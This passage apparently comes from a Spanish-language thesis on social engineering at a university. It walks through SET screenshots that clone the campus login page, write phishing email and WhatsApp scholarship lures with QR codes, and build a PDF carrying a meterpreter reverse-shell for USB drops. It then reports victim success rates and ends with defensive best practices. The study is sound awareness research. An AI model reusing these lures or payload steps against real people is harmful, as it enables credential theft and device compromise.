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E Shell No. 1
File Actions Edit View Help
>2

Credential harvester will allow you to utilize the clone capabilities within SET
to harvest credentials or parameters from a website as well as place them into a report

— * IMPORTANT * READ THIS BEFORE ENTERING IN THE IP ADDRESS * IMPORTANT * —

The way that this works is by cloning a site and looking for form fields to
rewrite. If the POST fields are not usual methods for posting forms this
could fail. If it does, you can always save the HTML, rewrite the forms to
be standard forms and use the "IMPORT" feature. Additionally, really
important:

If you are using an EXTERNAL IP ADDRESS, you need to place the EXTERNAL

IP address below, not your NAT address. Additionally, if you don't know
basic networking concepts, and you have a private IP address, you will
need to do port forwarding to your NAT IP address from your external IP
address. A browser doesns’'t know how to communicate with a private IP
address, so if you don't specify an external IP address if you are using
this from an external perpective, it will not work. This isn't a SET issue
this is how networking works.

5 > IP address for the POST back in Harvester/Tabnabbing [10.0
SET supports both HTTP and HTTPS
Example: http://ww.thisisafakesite.com

2 > Enter the url to clone:nttps:/,/a\.ra.upse.edu.ec/l

Figura 26. Escribir direccion de la pagina a clonar

Una vez ingresada la direccion, el sitio web solo se generaré por defecto.

I OF~|1 2 3 4| » &g " OO A Boun|a G
1n AMBIENTE VIRTUAL DE / X +

O 8 htps://ava.upse.edu.ec

# Kali Tools KaliDocs ¥ Kali Forums e Kali NetHunter Exploit-DB Google Hacking DB OffSec

AMBIENTE VIRTUAL
DE APRENDIZAJE

Access to the platform
Username

= ‘ Username

Password

a ‘ Password

Forgotten your username or password?

Aqui podras acceder a todos tus cursos virtuales desde
cualquier dispositivo mavil, las 24 horas del dia.

Log in as a guest

Aula Virtual UPSE Servicios Soporte
—— —= —pg—r & & | |5 i 80 @ cTRL 0RECHA
SO . e R B |

Figura 27. Sitio web se genera por defecto

Finalmente, se mostrara la informacion que afirma la creacion de la pagina,
encontrandose lista para agregarla a un servidor web y comenzar a enviar el link a las

victimas.
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Shell No. 1

File Actions Edit View Help

could fail. If it does, you can always save the HTML, rewrite the forms to
be standard forms and use the "IMPORT" feature. Additionally, really
important:

If you are using an EXTERNAL IP ADDRESS, you need to place the EXTERNAL
IP address below, not your NAT address. Additionally, if you don't know
basic networking concepts, and you have a private IP address, you will
need to do port forwarding to your NAT IP address from your external IP
address. A browser doesns't know how to communicate with a private IP
address, so if you don't specify an external IP address if you are using

this from an external perpective, it will not work. This isn't a SET issue
this is how networking works.

s > IP address for the POST back in Harvester/Tabnabbing [10.0.2.15]:10.0.2.15
SET supports both HTTP and HTTPS
Example: http://www.thisisafakesite.com

: > Enter the url to clone:https://ava.upse.edu.ec/

Figura 28. Creacion de la pagina

Para la implementacion de este vector de ataque en dicha institucion, se realizd una
encuesta en la que se propuso participar en este estudio y otorgando los permisos
correspondientes por partes de las victimas, aquellas recibieron el primer atague

Ilegandoles a sus respectivos correos un Qr generado para el mismo.

Elementos enviados = Filtra . .
’ i » Prueba 1 Proyecto: Nueva forma de ingreso al aula virtual

@ M SO S ST
Pa e 21/07/2022 16:2(

Buenas tardes, espero se encuentre bien, me encuentro desarrollando una nueva forma de

Hov

ingresar al aula virtual, ya que es un proyecto que debers ser presentado en clases.
PASOS A SEGUIR

1. Escanear el codigo qr.
2. Visitar sitio (ya que se encuentra albergado en un servidor de prueba).

3. Ingresar sus credenciales de inicio de sesién

Nota: Recuerde no compartir con nadie sus credenciales de inicio de sesién.

Figura 29. Correos con el QR generado

Ataque 2. Vector de ataque empleado: Medios infecciosos con archivos PDF o Exe.

Siguiendo la matriz inicial igual a la anterior se llega al segundo mena y se selecciona la
opcion 3.
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Shell Ne. 1

Select from the menu:

k Vecto
Third Modules

) Return back to the main menu.

Figura 30. Opcion 3, infeccion por medios generados

Siendo un medio generado nos permite usar 2 opciones por archivo o por Metaexploit se
seleccionaré la opcion 1.

Shell No. 1

The In m an autorun.inf f
M ploit pa 1 the DA is inserted, it will
run if autoru

99) Return to Main Menu

>1l

Figura 31. Opcidn 1, archivo de formato exploits

Luego nos solicitara que ingresemos la IP de destino de reverso del payload.
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o

Shell No. 1

torun.inf file and
d, it will autom
Pick the attack v r you wish to use: fileformat bugs or a straight executable.

1) File-Format Exploits

99) Return to Main Menu

>1
> IP address for the reverse connection (payloa

Figura 32. Ingreso de la IP

Se desplegara un listado con los diferentes tipos de ataque la cual se debera seleccionar
la opcidn 13.

3 Shell No. 1
File Actions Edit View Help

kkkkkkkkkk PAYLOADS *kkkdkhdhkk

1) SET Custom Written DLL Hijacking Attack Vector (RAR, ZIP)
2) SET Custom Written Document UNC LM SMB Capture Attack

3) MS15-100 Microsoft Windows Media Center MCL Vulnerability
4) MS14-017 Microsoft Word RTF Object Confusion (2014-04-01)
5) Microsoft Windows CreateSizedDIBSECTION Stack Buffer Overflow
6) Microsoft Word RTF pFragments Stack Buffer Overflow (MS10-087)
7) Adobe Flash Player "Button" Remote Code Execution

8) Adobe CoolType SING Table "uniqueName" Overflow

9) Adobe Flash Player "newfunction” Invalid Pointer Use

0) Adobe Collab.collectEmailInfo Buffer Overflow

1) Adobe Collab.getIcon Buffer Overflow

2) Adobe JBIG2Decode Memory Corruption Exploit

3) Adobe PDF Embedded EXE Social Engineering

4) Adobe util.printf() Buffer Overflow

5) Custom EXE to VBA (sent via RAR) (RAR required)

6) Adobe U3D CLODProgressiveMeshDeclaration Array Overrun

7) Adobe PDF Embedded EXE Social Engineering (NOJS)

8) Foxit PDF Reader v4.1.1 Title Stack Buffer Overflow

9) Apple QuickTime PICT PnSize Buffer Overflow

0) Nuance PDF Reader v6.0 Launch Stack Buffer Overflow

1) Adobe Reader u3D Memory Corruption Vulnerability

2) MSCOMCTL ActiveX Buffer Overflow (ms12-027)

1
1
1
1
1
1
1
1
1
1
2
2
2

1

Figura 33. Opcién 13, tipo de archivo PDF
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Luego de seleccionar el PDF se seleccionara la opcion 2.

Shell No.1

Actions Edit View Help

ution
erflow
lid Point

uption

Engine

ion sel ed. ° ene e a normal PDF with embedded EXE.

PDF for attack
PDF f

Figura 34. Opcidn 2, PDF en blanco

Por ultimo, se seleccionaré la opcion 1 para que nos devuelva los datos de reverso en el
ataque.

Shell No. 1

File Actions Edit View Help

16) Adobe U3D CLODProgressiveMeshDeclaration Array Overrun
17) Adobe PDF Embedded EXE Social Engineering (NOJS)

18) Foxit PDF Reader v4.1.1 Title Stack Buffer Overflow
19) Apple QuickTime PICT PnSize Buffer Overflow

20) Nuance PDF Reader v6.0 Launch Stack Buffer Overflow
21) Adobe Reader u3D Memory Corruption Vulnerability

22) MSCOMCTL ActiveX Buffer Overflow (ms12-027)

>13

Default payload creation selected. SET will generate a normal PDF with embedded EXE.

1. Use your own PDF for attack
2. Use built-in BLANK PDF for attack

>2

Windows Reverse TCP Shell Spawn a command shell on victim and send back to attacker
Windows Meterpret Reverse_TCP Spawn a meterpreter shell on victim and send back to attacker
Windows Reverse VNC DLL Spawn a VNC server on victim and send back to attacker
) Windows Reverse TCP Shell (x64) Windows X64 Command Shell, Reverse TCP Inline
Windows Meterpreter Reverse TCP (X64) Connect back to the attacker (Windows x64), Meterpreter
Windows Shell Bind_TCP (X64) Execute payload and create an accepting port on remote system
) Windows Meterpreter Reverse HTTPS Tunnel communication over HTTP using SSL and use Meterpreter

Figura 35. Opcidén 2, Método payload reverse TCP
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Continuamente se escribira el LHOST al que se dirigira la IP.

Shell No. 1

Actions Edit View Help
Adobe PDF Embed

load creation selected. will g te a normal PDF with embedded

ur own PDF for attac

aind send
and send

r (LHOST)

Figura 36. Ingreso de la IP

Luego de insertar la IP se insertara el puerto para determinar la entrada.

Shell No.

File Actions Edit View Help

Foxit er .1.1 Title

a normal PDF with embedded

im and send back
ctim and

(T T T

< on [

Figura 37. Ingreso del puerto de entrada
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Una vez generada la IP y el puerto (cualquier puerto) se generara el archivo PDF para el
ataque.

B mEP -]

Trash notasfinal.pdf

Figura 38. Archivo generado para el ataque

Para poder proceder con el proceso se genera un Metaexploit para la explotacion del
ataque generando el LHOST y el LPORT que ya se habian determinado.

File Actions Edit View Help

Name Current Setting Required Description

Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description

EXITFUNC process yes Exit technique (Accepted: '', seh,
thread, process, none)

LHOST yes The listen address (an interface ma
y be specified)

LPORT yes The listen port

Exploit target:

Id Name

® Wildcard Target

msf6 exploit( ) > exploit

Started reverse TCP handler on

Figura 39. Ingreso set para LHOST y LPORT

El fin de este PDF es insertarlo en un USB para que la victima pueda encontrarlo e

incentivando por su curiosidad abrir el archivo para dar acceso a la explotacion.
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Ataque 3. Vector de ataque empleado: Phishing e ingenieria social por medio de
redes sociales WhatsApp.

Iniciando del ataque anterior en la cual se cred una pagina phishing para obtener datos
nos dispondremos a realizar la técnica que se utilizara para realizar este ataque.

Se selecciona la opcion 8 que nos permitird crear un QR que alojaré el ataque que
estamos creando.

Shell No. 1

File Actions Edit View Help

is a product of TrustedSec.

Select from the menu:

1) Spear-Phishing Attack Vectors

2) Website Attack Vectors

3) Infectious Media Generator

4) Create a Payload and Listener

5) Mass Mailer Attack

6) Arduino-Based Attack Vector

7) Wireless Access Point Attack Vector
8) QRCode Generator Attack Vector

9) Powershell Attack Vectors

10) Third Party Modules

99) Return back to the main menu.

> s

& [E @ 3] @ cruperecta

Figura 40. Opcion 8 Generador de codigo QR

No pediréa que introduzcamos la IP con la que generamos la pagina web del phishing
para realizar el respectivo ataque.

Shell No.1

File Actions Edit View Help

from the menu:

t an additional attack vector within
mple, generate a QRCode of the SET Ja

Figura 41. Ingreso de la IP
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Luego de haber generado mostrara la direccion en donde se guardé la imagen del QR para
poder copiarlo, como esta en una carpeta Root necesita privilegios de administrador.

Shell Ne. 1
File Actions Edit View Help

1@) Third rty Modules

99) Return back to the main menu.
The QRCode Attack Vector will create a QRCode for you with whatever URL you want.

withi
of the SET

Figura 42. Direccion del Codigo QR

No dirigiremos a la direccion donde se encuentra la imagen usada los codigos CD para
abrir carpetas y LS para mostrar los archivos.

root@kali: ~/.set/reports

File Actions Edit View Help

/root/.set/
~f.set
set.options version.lock

~f.set
reports

~/.set/reports

~f.set/reports

Figura 43. Ingreso al Root

Continumente procedemos a copiar el archivo en una direccion donde podremos verla sin

autorizacion del administracion usando el codigo MV qu es para mover un archivo.
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B root@kali: ~/.set/reports

File Actions Edit View Help

/root/.set/

~/.set

set.options version.lock

~/.set
reports

~/.set/reports

~/.set/reports
qrcode_attack.png /home/kali/J|

Figura 44. Redireccionar el archivo PNG

El archivo se trasladara a una direccion para poder observar el QR generadoy poder

usaralo por medio de las redes sociales.

"

File Edit View

t o

Places Desktop
& Computer

B kali n
= | Desktop

' Trash
@

Documents
4]

Music nagios-4.4.7

Music

Pictures Templates

Videos
Downloads . .
Devices

@ e System archivoblack.pdf kmspico.exe

Network LY
[ Browse Network

10 folders, 8 files: 11.0 MiB (11,483,325 bytes), Free space: 59.7 GiB

Documents home

Pictures Public

E TN

1.pcapng
E (N
u

nagios-4.4.7.tar.gz  qrcode_attack.png

Figura 45. Imagen del Qr

56



Figura 46. QR

Una vez generado el ataque se procede a usar la red social WhatsApp para poder enviar
el ataque usando un mensaje falso llamativo para la victima especificada.

iHolal, ha sido pre-seleccionado para obtener la
beca universitaria.

El proceso es muy simple

1) Escanea el cédigo Qr

2) Inicia sesion

3) Ve al area de notificaciones

4) Completa tus datos

Nota: No compartas con nadie tus credenciales de
inicio de sesién

Figura 47. Ataque por WhatsApp
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3.5. IMPLEMENTACION DE TECNICAS DE INGENIERIA SOCIAL NO
COMPUTACIONALES
Ataque 1. Vector de ataque empleado: Shoulder Surfing

ATAQUE SHOULDER SURFING

Software escogido. | No necesita software.

_ ) Obtener credenciales de inicio de sesion, solo con observar a
Funcionamiento.

la victima mientras utiliza su dispositivo electrénico.
EJECUCION DEL ATAQUE

> En este caso, el atacante se posiciond en una linea de vision directa hacia la

pantalla de su dispositivo mévil y logré observar la clave utilizada por el
usuario, el atacante busca replicar la secuencia en una nueva sesion, pero el
sistema generd una notificacion por mensaje de texto al dispositivo mavil, en
este caso el atacante no logra ingresar al sistema, reflejando que el algoritmo es
robusto frente al Shoulder Surfing.

» Como se puede verificar este ataque para esta evaluacion, son sencillos de
gjecutar y no necesitan conocimientos avanzados en computacion, es decir,
cualquier persona puede aplicar estas técnicas para sustraer claves de acceso a

diferentes sistemas.

Tabla 7. Vector de ataque Shoulder Surfing

Ataque 2. Vector de ataque empleado: Vishing
ATAQUE VISHING

Software escogido. | No necesita software.

) ) Se utiliza el teléfono como herramienta con el objetivo de
Funcionamiento. . . o
receptar informacion de la victima.

EJECUCION DEL ATAQUE

> En este ataque, por medio telefénico trata de convencerlo a que nos entregue

sus credenciales de inicio de sesion o que ingrese a un sitio web clonado.
> El verdadero problema de este tipo de ataques es la confianza que la victima
tiene en el teléfono y en el uso que tradicionalmente han hecho de él, las

empresas legitimas

Tabla 8. Vector de ataque Vishing
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3.6. ANALISIS DE RESULTADOS

3.6.1. EVALUACION DE RESULTADOS DE EJECUCION DE INGENIERIA
SOCIAL

Resultados del primer ataque computacionales.

Dentro de un tiempo determinado que estuvo abierto el ataque en la primera jornada de
trabajo (Ver Anexo 8). Como resultado se obtuvo:

Resultados de ataque de vector por medio de clonacion de pagina.

Vector de Ataque Phishing - Explotacidn con pagina web
) Cantidad de
Horas Ejecutadas 4 horas o 15 personas
Victimas
Resultados Observaciones

Entre las observaciones obtenidas en este

o ] primer ataque, se determiné que existe
De las 15 victimas, 10 realizaron el ]
_ una cantidad de alumnos que cayeron en
trabajo. ) o
) el mismo, 3 de las victimas no
2 de las victimas no llenaron datos. _
respondieron dando a entender que no

estan atentos a su correo institucional y 2

previeron el ataque.

Tabla 9. Datos de ataque Phishing

Resultados de ataque de generador de medios infecciosos (PDF).

Vector de Ataque Explotacion por archivo PDF
) Cantidad de
Horas Ejecutadas 5 horas o 15 personas
Victimas
Resultados Observaciones

Entre los resultados adquiridos en este

) ) ataque con un archivo PDF en un
De las 10 victimas, 9 realizaron el ) o o )
_ dispositivo USB, casi mas de la mitad de
trabajo. o o
) ] las victimas cayeron, 5 de las victimas no
5 de las victimas no prestaron atencién al ) ] ]
) . desconfiaron del archivo y simplemente
archivo y 1 uno presto atencion al USB. y
no le prestaron atencion y lo borraron, 1

persona no uso el USB.

Tabla 10. Datos de ataque generado por medios PDF.

59



Resultados de ataque generado por redes sociales WhatsApp.

Técnica computacional y no

computacional.

Vector de Ataque o ) )
Phishing - Explotacion por mensaje texto
en WhatsApp (QR)
) Cantidad de
Horas Ejecutadas 3 horas o 15 personas
Victimas

Resultados

Observaciones

De las 15 victimas, 12 realizaron el
trabajo.

2 de las victimas no se redireccionaron
con el QR y 1 elimino respondi6 que

detecto el virus.

Entre las observaciones obtenidas en este
mensaje con codigo QR, se determind
que los alumnos se sintieron tentado por
la propuesta de una beca, 3 de las
victimas no respondieron dando a

entender previeron el ataque.

Tabla 11. Datos de ataque generado por redes sociales WhatsApp.

Resultados del primer ataque no computacionales.

Dentro de un tiempo determinado que se trabajo en campo para el analisis de potenciales

victimas por todo un campus (Ver Anexo 9). Como resultado se obtuvo:

Resultados para la técnica de Shoulder surfing.

Vector de Ataque

Shoulder surfing — Ver sobre el hombro

Horas Ejecutadas 8 horas

Cantidad de

o ) 25 personas
Victimas Seguidas

Resultados

Observaciones

De las 25 victimas se concluyo:

6 abrieron Facebook.

5 WhatsApp

2 Tiktok.

4 aulas virtuales.

3 de las victimas se pudo determinar sus

claves y contrasefias del aula virtual.

Entre las observaciones obtenidas durante
este trabajo de campo se determind que, en
el caso de las redes sociales, los
dispositivos moviles por defecto guardan
contrasefias impidiendo el reconocimiento
de las mismas al usar esta técnica no

computacional a diferencia del aula que

por defecto solicita clave del mismo.

Tabla 12. Datos de ataque usando técnica Shoulder Surfing.
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Resultados para la técnica de Vishing.

Vector de Ataque Vishing — Llamada telefénica

) Cantidad de
Horas Ejecutadas 4 horas o ) 5 personas
Victimas Seguidas

Resultados Observaciones

En las llamadas realizadas las personas

o ) desconfiaron demasiado impidiendo que
3 de las victimas potenciales contestaron, ) N )
nos den informacion necesaria.
pero no se obtuvo resultados favorables. _
] En las pruebas obtenidas con el Qr, las
2 se las llamo para pruebas con el Qr. . )
victimas fueron comprometidas con sus

datos.

Tabla 13. Datos de ataque usando técnica Vishing.

3.7. INFORME DE RESULTADOS

Resultados de ataque de vector por medio de clonacion de pagina

m Cayeron en el ataque m No respondieron al correo m No llenaron datos

Figura 48. Grafico estadistico del ataque de vector por medio de clonacién de
pagina
Con el ataque de vector por medio de clonacion de pagina, se pudo determinar que, existe
una cantidad de estudiantes que cayeron en el mismo, el 54% de las victimas brindaron
informacion sensible, ademas, el 33% no revisa su bandeja de entrada, razén por la cual,

no respondieron al correo y el 13% de las personas, ingresaron a la pagina, pero no

llenaron datos.
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Resultados de ataque de generador de medios infecciosos (PDF).

m Cayeron en el ataque m Pasaron por alto el archivo
m Pasaron por alto el USB

Figura 49. Grafico estadistico del ataque de generador de medios infecciosos (PDF)

En el ataque de generador de medios infecciones mediante PDF, se pudo obtener que, el
60% de los colaboradores en este proyecto cayeron en el ataque, el 33% pasaron por alto

el archivo y el 7% pasaron por alto el USB.

Resultados de ataque generado por redes sociales WhatsApp.

= Accedieron al link
No accedieron

= Notaron el ataque

80%

Figura 50. Grafico estadistico del ataque generado por redes sociales WhatsApp

El ataque generado por redes sociales tuvo gran éxito, ya que. El 80% de las personas
accedieron al link que se les envid a través de un cddigo QR, asi mismo, el 13% de los

usuarios, desconfiaron del enlace, razon por la cual, no accedieron y el 7% fueron

precavidos y notaron el ataque.
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Resultados para la técnica de Shoulder surfing.

m Facebook = Whatsapp
m Tiktok Aulas virtuales
m No abrieron ninguna pagina

Figura 51. Gréfico estadistico de ataque Shoulder Surfing.

En la técnica empleada de Shoulder Surfing, se pudo obtener que, el 30% de las personas
abrieron Facebook, 25% WhatsApp, 20% aulas virtuales, 10% Tiktok y el 15% no
abrieron ninguna pagina. Con este ataque se determind que, las redes sociales por defecto
guardan las contrasefias, lo que impidié que las victimas ingresaran las mismas por
teclado, sin embargo, en el aula virtual si registran la clave en cada inicio de sesién, por

lo que se pudo obtener 3 contrasefias.

Resultados para la técnica de Vishing.

m Contestaron la llamada = No contestaron

Figura 52. Grafico estadistico de ataque Vishing.

En latécnica de Vishing, el 60% de las personas contestaron la llamada, pero no brindaron

informacion sensible y el 40% de las victimas no respondieron.
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4. PROPUESTA DE BUENAS PRACTICAS PARA SEGURIDAD Y
PRIVACIDAD DE INFORMACION

4.1. INTRODUCCION

La ingenieria social posee técnicas computacionales y no computacionales, que buscan
confundir a las victimas mediante mentiras y engafios, de esta forma, conseguir
informacién personal que les permita acceder a sus cuentas electronicas 0 a sus
dispositivos. En el presente trabajo, se realizaron varios ataques a una institucion de

educacién superior, que evidenciaron las vulnerabilidades en los usuarios.

Esta guia tiene como finalidad, concientizar a las personas y presentar diversas
recomendaciones que se pueden ejecutar, para mitigar los riesgos de un futuro ataque y
reforzando la seguridad informatica. Para esto, se utilizaran las normas 1ISO27001, que se
basan en la clasificacion dependiendo de las caracteristicas de la seguridad de la

informacion, las cuales se nombran a continuacion:

Disponibilidad: Acceso a los datos cuando se requieran, teniendo en

consideracién la privacidad.

- Confidencialidad: Informacion sensible solo para las personas autorizadas.

Dichos datos no deben llegar a terceros que no estén autorizados.

- Integridad: Informacién correcta sin ser modificada por personas no autorizadas.

Se protege frente a vulnerabilidades externas.
- Autenticacion: Datos procedentes de un usuario que es quien dice ser. Ademas,
se verifica y se garantiza que el origen de la informacion es correcto.

4.2. PRACTICAS DE SEGURIDAD
Disponibilidad

Préactica de seguridad Descripcion

Teniendo una buena gestion de
cortafuegos, se evitan caidas de sistema
que permitan accesos ilegitimos. Para

Utilizar cortafuegos. esto, se deben seguir los siguientes pasos:
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- Proteger  adecuadamente las

conexiones en los equipos
electronicos.

- La configuracion del cortafuegos
debe revisarse periddicamente.

- Establecer procesos adecuados de
gestion y  supervision  del

cortafuegos.

Realizar copias de seguridad de la

informacion.

Es importante mantener a salvo la

informacién que se posee en los
dispositivos electronicos. Por esta razon,
se recomienda regularmente realizar
copias de seguridad apropiadas de la
informacion. Se pueden realizar mediante
un disco externo, guardar datos en la nube

0 en sitios remotos de la red.

Actualizaciones de parches de seguridad.

Para mantener disponible la informacién
de forma correcta, se requiere tener
actualizados todos los parches de
seguridad en el sistema operativo, esto
permite que los equipos electronicos estén
constantemente en monitoreo de los datos
del dispositivo.

La actualizacion de los parches de
seguridad se debe realizar con licencias

oficiales.

Tabla 14. Disponibilidad

Confidencialidad

Préactica de seguridad

Descripcion

Informacion sensible.

No compartir informacion sensible en las
redes sociales, que permita a las personas

saber datos personales sobre usted.
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Al momento de crear distintos usuarios en
diversas  cuentas  electronicas, es
Contrasefias diferentes. importante tener diferentes claves para el
registro de cada cuenta, asegurando la

informacion que se posee.

Se recomienda crear contrasefias fuertes y
tener un tiempo de caducidad para las
Cambio de claves. mismas, es recomendable que las claves

sean cambiadas con frecuencia.

Se debe monitorear constantemente todos
los perfiles sociales y cuentas bancarias,
Monitorear las cuentas electronicas. para confirmar que toda la informacion

esté en orden.

Es importante poseer una clave de ingreso
al dispositivo, que evite el acceso no
autorizado a la informacion que posee en
Clave de ingreso al dispositivo. los equipos electrénicos. Esta practica de
seguridad se puede realizar a través de la

configuracion del dispositivo.

Tabla 15. Confidencialidad

Integridad

Practica de seguridad Descripcion

Para asegurar la integridad de la
informacién, sin que sea modificada, es
importante tener actualizado el software
Actualizacion del software. de nuestro dispositivo electrénico, ya sea:
computadora, teléfono mavil o tablet, asi
mismo, mantener actualizado el antivirus
del equipo constantemente, evitando

archivos maliciosos.

Esta practica es muy importante, ya que
permite que no se recuerden las

credenciales de acceso de las plataformas.
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Eliminar historial y caché.

Para eliminar el caché de la computadora,
se deben seguir los siguientes pasos:
1. Abrir el navegador.
2. En la esquina superior derecha,
hacer clic en Més.
3. Haz clic en Més herramientas.
4. En la parte superior, elegir un
intervalo de tiempo.
5. Marcar las casillas junto a
“Cookies y otros datos de sitios” e
“Imagenes y archivos

almacenados en caché”.

6. Haz clic en borrar datos.

Evitar conectarse a redes externas.

En caso de requerir conexion a internet,
debe evitar en lo posible conectarse a
redes wifi-desconocidas o publicas para
navegar por internet. Para verificar si una
red es segura, debe seguir los siguientes
pasos:
1. Si la red es abierta, es
recomendable no utilizarla.
2. Utilizar redes con cifrado WPAZ2.
3. Verificar si pide varios datos
personales para poder conectarse.
4. Si ese es el caso, abandonar la red

inmediatamente.

Utilizar una VPN.

VPN (Red Privada Virtual), ayuda a tener
una conexion a internet segura y
protegida. Para usar una VPN, solo tiene
que seguir los siguientes pasos:
1. Registrarse para obtener un
servicio de VPN en una péagina

confiable.
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2. Descargar la VPN vy ejecutar la
aplicacion.

3. Seleccionar un servidor al que
desee conectarse.

4. Ahora puede navegar en internet

de forma segura.

Instalar aplicaciones seguras.

La instalacion de software puede afectar la
seguridad y el rendimiento del equipo. Por
esta razon, es recomendable utilizar

aplicaciones legitimas.

Restringir el uso de dispositivos

extraibles.

Es importante no permitir el uso de
dispositivos extraibles, tales como: CD,
pendrive, memorias, entre otros. Para
emplear estos dispositivos es importante
aplicar procedimientos que garanticen que
no contienen malware. Se pueden seguir
los siguientes pasos:

1. Verificar que el software antivirus
esté funcionando.

2. Utilizar un programa para detectar
que el dispositivo no contenga
virus.

3. Iniciar la busqueda de virus, dejar
que el programa detecte y quite

cualquier infeccion.

Utilizar sistemas de deteccion y

prevencion de intrusiones.

Siempre que sea posible, es importante
utilizar herramientas que permitan la
deteccidn y prevencion de intrusiones para
proporcionar una vision detallada de la
actividad de la red. Estas herramientas se
deben adaptar al entorno de control de

procesos.
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Cifrado de datos

Se recomienda utilizar el cifrado de datos
para garantizar que la informacion de un
sistema de una computadora no pueda ser
robada ni leerla alguien que quiera
utilizarla con fines maliciosos.

Implica convertir texto sin formato legible

por humanos en un texto incomprensible.

Firma electronica

Para evitar la vulneracion de datos en
internet, es recomendable emplear la firma
electronica, ya que tiene los cuatro
principios:

- ldentidad: Verifica y confirma la
identidad del titular de la firma.

- Confidencialidad: EI emisor sabe
que la informacién del documento
fue cifrada y que solo el receptor
es capaz de descifrarlo.

- No repudio: El firmante no puede
rechazar que ha firmado un
documento.

- Integridad: Permite la encriptacion

y proteccién de los datos.

Tabla 16. Integridad

Autenticacion y no repudio

Préactica de seguridad

Descripcion

Credenciales de acceso

Nunca entregar credenciales de acceso de

las cuentas electronicas.

En caso de recibir un correo con ofertas,
regalos o contenido tentador, seguir los
siguientes pasos:

1. Evite abrir el correo.

2. No haga click en el enlace en

cuestién.

69



Correos con ofertas, regalos o contenidos
tentadores.

3. Para verificar si es real, basta con
hacer una busqueda répida en
Google.

4. Si se considera que es contenido

falso, se debe eliminar el correo.

Correos de fuentes sospechosas.

En caso de recibir un correo o archivos
adjuntos de fuentes sospechosas, debe
seguir los siguientes pasos:
1. Verificar el nombre del remitente.
2. Siconoce a la persona, preguntarle
directamente si son archivos
validos que él, envio.

3. Caso contrario, no responder al
correo  hasta  verificar  su
autenticidad.

4. Si se verifica que es contenido
fraudulento, se  recomienda

eliminar el correo en cuestion.

Mensajes con enlaces sospechosos.

Se puede dar el caso de recibir mensajes
en las cuentas electronicas, con un enlace
que redirige a una pagina para colocar
credenciales de acceso. Para verificar si es
un sitio falso, se deben seguir los
siguientes pasos:
1. Verificar la URL (dominio),
visualizando la  barra de
direcciones del navegador.

2. Corroborar que haya un simbolo
de candado en la parte izquierda de
la web.

3. Revisar la gramaética del sitio.

4. ldentificar al propietario del sitio

web.
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5. Estudiar el contenido del sitio.

Por otro lado, se puede buscar
herramientas en la web, que permiten
verificar si el sitio presenta alguna

vulnerabilidad.

Brindar informacion sensible.

Si una persona desea comunicarse con
usted para saber informacion sensible,
puede realizar lo siguiente:
1. Contactarme de forma directa con
el remitente del mensaje.
2. Verificar su identidad.
3. Brindar la informacién de manera
no tan detallada, para evitar

futuros problemas.

Tabla 17. Autenticacion y no repudio

REFORZAR LA SEGURIDAD EN EL TELEFONO MOVIL

Préctica de seguridad

Descripcion

Cadigo de seguridad.

Registrar un PIN para activar el acceso al
dispositivo mavil, permite proteger los
datos si se reinicia el equipo, cuando se
cambia el chip del dispositivo o si una
persona quiere ingresar a la informacién

del teléfono.

Copia de seguridad.

Realizar una copia de seguridad de los
datos del dispositivo, permite respaldar
toda la informacion del teléfono movil en
caso de cualquier falla, pérdida de datos o
borrados accidentalmente. Hay varias

formas de realizarlo, entre ellas:
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- Copia a la tarjeta de expansion o
mediante el  software  del
fabricante.

- Realizar una copia de seguridad
periddica con los datos y ajustes de

las aplicaciones.

- Conectar el equipo a la
computadora y realizar el
respaldo.

- Guardar informacion en servicios

en la nube.

Activar las conexiones solo cuando sea

necesario.

Es importante activar las conexiones
bluetooth, infrarrojo y WIFI solo cuando
se vayan a utilizar, debido que estos
puertos son evidentes a simple vista y
pueden ser un blanco facil para el atacante,

propiciando la fuga de datos.

Asegurar que la informacion transmitida

o recibida esté libre de virus.

Teniendo en cuenta el sistema operativo
de cada teléfono, existe una variedad de
virus que afectan la funcionalidad del
dispositivo, para esto, es necesario tener
instalado un antivirus para comprobar los

archivos que se transmiten.

Descargar aplicaciones de sitios oficiales.

Existen diversas aplicaciones con
funciones ocultas para crear problemas o
fallos en el teléfono. Es recomendable
solo instalar aplicaciones que se puedan
corroborar su procedencia y que sean
seguras de utilizar. Se puede guiar de las
tiendas de aplicaciones del fabricante, ya

que, son ideales para instalar aplicaciones.

Cerrar todas las sesiones iniciadas.

Al terminar de wusar una cuenta

electronica, es recomendable cerrar
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completamente la sesién, debido que, no
se sabe cuando se pueda perder el teléfono

0 caer en las manos equivocadas.

Actuar el sistema operativo del teléfono. | Es importante mantener actualizado el

software del dispositivo, para evitar fallos
de seguridad 'y optimizar las
caracteristicas que resultan un blanco

potencial para los atacantes.

Guardar el namero IMEI Es un codigo pregrabado en los
dispositivos moviles, que identifican el
equipo a nivel mundial. Esto permite tener
la informacion a salvo de terceras
personas, permitiendo  bloquear el

teléfono en caso de robo o pérdida.

Tabla 18. Reforzar la seguridad en el teléfono movil

HERRAMIENTAS PARA GESTIONAR LA SEGURIDAD DE LA

INFORMACION

Disponibilidad

Firewall: Herramienta de seguridad cibernética que se emplea para filtrar el
trafico de una red [51]. Los cortafuegos pueden ser utilizados para separar nodos
de red de fuentes de trafico externas, internas o de aplicaciones especificas [51].
Google drive: Es una plataforma que permite compartir archivos que se pueden
utilizan como espacio de almacenamiento personal y seguro en la nube [52].
Proporciona un acceso cifrado y seguro de la informacion [52].

Mega: Es un servicio basado en la nube que permite guardar archivos y ser
utilizado desde cualquier lugar con internet, en cualquier dispositivo y
plataformas principales [53].

Licencias oficiales de sistema operativo: Es importante descargar los parches de

seguridad desde la pagina legitima del sistema operativo que se emplee.
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Confidencialidad

Navegador en modo incognito: Si una persona navega en modo incognito, los
datos de actividad no se guardan en el dispositivo ni cuenta a la que no haya
accedido [54].

Servidor proxy: Dispositivo que actia como intermediario entre el internet y las
conexiones del navegador, filtrando los paquetes que circulan entre ambos puntos
[55].

Integridad

VPN: Las herramientas VPN brindan la oportunidad de establecer una conexion
segura y protegida al utilizar redes publicas [56]. Las VPN cifran el trafico en
internet y disfrazan la identidad en linea, dificultando a terceros, el seguimiento
de las actividades en linea y el robo de informacion [56].

Play Store: Es una app oficial de Google, donde los usuarios pueden descargar
juegos y contenido digital para el dispositivo [57].

Antivirus: Software que permite buscar, detectar, evitar y eliminar virus de un
equipo [55].

Herramientas IDS: Las herramientas de deteccion de intruso se refieren a una
aplicacion que sirve para monitorear la red informaética, las aplicaciones o los
sistemas de una empresa, buscando infracciones de politicas y actividades
maliciosas [58]. Entre las herramientas mas utilizadas, estan: NIDS, HIDS, IDS
